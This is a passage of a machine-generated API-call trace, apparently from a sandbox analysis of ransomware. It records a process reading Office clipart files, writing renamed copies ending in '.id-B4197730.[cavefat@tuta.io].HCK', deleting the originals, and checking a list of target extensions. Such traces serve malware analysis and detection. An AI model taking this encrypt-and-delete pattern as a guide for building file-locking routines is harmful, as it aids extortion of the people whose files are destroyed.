"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.351] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5708) returned 1 [0170.351] CloseHandle (hObject=0x380) returned 1 [0170.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 0x220 [0170.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.370] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.370] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.374] GetLastError () returned 0x0 [0170.374] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x164c, lpOverlapped=0x0) returned 1 [0170.377] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1650, lpOverlapped=0x0) returned 1 [0170.378] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.378] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.378] SetEndOfFile (hFile=0x30c) returned 1 [0170.382] CloseHandle (hObject=0x30c) returned 1 [0170.382] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.382] SetEndOfFile (hFile=0x3ac) returned 1 [0170.384] CloseHandle (hObject=0x3ac) returned 1 [0170.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 1 [0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.391] lstrlenW (lpString=".doc") returned 4 [0170.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString=".docx") returned 5 [0170.391] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.391] lstrlenW (lpString=".pdf") returned 4 [0170.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString=".xls") returned 4 [0170.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.391] lstrlenW (lpString=".xlsx") returned 5 [0170.391] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.391] lstrlenW (lpString=".ppt") returned 4 [0170.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.391] lstrlenW (lpString=".zip") returned 4 [0170.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.391] lstrlenW (lpString=".rar") returned 4 [0170.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString=".bz2") returned 4 [0170.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString=".7z") returned 3 [0170.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.391] lstrlenW (lpString=".dbf") returned 4 [0170.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.391] lstrlenW (lpString=".1cd") returned 4 [0170.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.391] lstrlenW (lpString=".jpg") returned 4 [0170.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.392] lstrlenW (lpString=".doc") returned 4 [0170.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString=".docx") returned 5 [0170.392] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.392] lstrlenW (lpString=".pdf") returned 4 [0170.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString=".xls") returned 4 [0170.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.392] lstrlenW (lpString=".xlsx") returned 5 [0170.392] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.392] lstrlenW (lpString=".ppt") returned 4 [0170.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.392] lstrlenW (lpString=".zip") returned 4 [0170.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.392] lstrlenW (lpString=".rar") returned 4 [0170.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString=".bz2") returned 4 [0170.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString=".7z") returned 3 [0170.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.392] lstrlenW (lpString=".dbf") returned 4 [0170.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.392] lstrlenW (lpString=".1cd") returned 4 [0170.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0170.392] lstrlenW (lpString=".jpg") returned 4 [0170.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.392] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.392] lstrlenW (lpString="J0198020.WMF") returned 12 [0170.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.397] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23726) returned 1 [0170.397] CloseHandle (hObject=0x378) returned 1 [0170.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf")) returned 0x220 [0170.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.412] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.412] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.415] GetLastError () returned 0x0 [0170.415] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5cae, lpOverlapped=0x0) returned 1 [0170.420] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5cb0, lpOverlapped=0x0) returned 1 [0170.421] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.422] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.422] SetEndOfFile (hFile=0x364) returned 1 [0170.424] CloseHandle (hObject=0x364) returned 1 [0170.424] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.424] SetEndOfFile (hFile=0x378) returned 1 [0170.426] CloseHandle (hObject=0x378) returned 1 [0170.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf")) returned 1 [0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.436] lstrlenW (lpString=".doc") returned 4 [0170.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.436] lstrlenW (lpString=".docx") returned 5 [0170.436] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.436] lstrlenW (lpString=".pdf") returned 4 [0170.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.436] lstrlenW (lpString=".xls") returned 4 [0170.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.436] lstrlenW (lpString=".xlsx") returned 5 [0170.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.437] lstrlenW (lpString=".ppt") returned 4 [0170.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".zip") returned 4 [0170.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.437] lstrlenW (lpString=".rar") returned 4 [0170.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString=".bz2") returned 4 [0170.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString=".7z") returned 3 [0170.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".dbf") returned 4 [0170.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".1cd") returned 4 [0170.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".jpg") returned 4 [0170.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".doc") returned 4 [0170.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString=".docx") returned 5 [0170.437] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.437] lstrlenW (lpString=".pdf") returned 4 [0170.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString=".xls") returned 4 [0170.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.437] lstrlenW (lpString=".xlsx") returned 5 [0170.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.437] lstrlenW (lpString=".ppt") returned 4 [0170.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".zip") returned 4 [0170.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.437] lstrlenW (lpString=".rar") returned 4 [0170.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString=".bz2") returned 4 [0170.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString=".7z") returned 3 [0170.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".dbf") returned 4 [0170.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".1cd") returned 4 [0170.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0170.437] lstrlenW (lpString=".jpg") returned 4 [0170.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.438] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.438] lstrlenW (lpString="J0198102.WMF") returned 12 [0170.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.446] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=54964) returned 1 [0170.446] CloseHandle (hObject=0x2ec) returned 1 [0170.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf")) returned 0x220 [0170.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.459] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.459] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.465] GetLastError () returned 0x0 [0170.465] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xd6b4, lpOverlapped=0x0) returned 1 [0170.471] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd6c0, lpOverlapped=0x0) returned 1 [0170.472] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.473] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.473] SetEndOfFile (hFile=0x30c) returned 1 [0170.474] CloseHandle (hObject=0x30c) returned 1 [0170.474] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.474] SetEndOfFile (hFile=0x378) returned 1 [0170.481] CloseHandle (hObject=0x378) returned 1 [0170.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf")) returned 1 [0170.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.484] lstrlenW (lpString=".doc") returned 4 [0170.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.484] lstrlenW (lpString=".docx") returned 5 [0170.484] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.484] lstrlenW (lpString=".pdf") returned 4 [0170.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.484] lstrlenW (lpString=".xls") returned 4 [0170.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.484] lstrlenW (lpString=".xlsx") returned 5 [0170.484] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.484] lstrlenW (lpString=".ppt") returned 4 [0170.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.484] lstrlenW (lpString=".zip") returned 4 [0170.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.484] lstrlenW (lpString=".rar") returned 4 [0170.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.484] lstrlenW (lpString=".bz2") returned 4 [0170.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.484] lstrlenW (lpString=".7z") returned 3 [0170.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.484] lstrlenW (lpString=".dbf") returned 4 [0170.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".1cd") returned 4 [0170.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".jpg") returned 4 [0170.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".doc") returned 4 [0170.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString=".docx") returned 5 [0170.485] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.485] lstrlenW (lpString=".pdf") returned 4 [0170.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString=".xls") returned 4 [0170.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.485] lstrlenW (lpString=".xlsx") returned 5 [0170.485] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.485] lstrlenW (lpString=".ppt") returned 4 [0170.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".zip") returned 4 [0170.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.485] lstrlenW (lpString=".rar") returned 4 [0170.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString=".bz2") returned 4 [0170.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString=".7z") returned 3 [0170.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".dbf") returned 4 [0170.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".1cd") returned 4 [0170.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0170.485] lstrlenW (lpString=".jpg") returned 4 [0170.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.485] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.485] lstrlenW (lpString="J0198372.WMF") returned 12 [0170.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.497] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28572) returned 1 [0170.497] CloseHandle (hObject=0x374) returned 1 [0170.497] GetFileAttributesW (lpFileName="C:\\Program 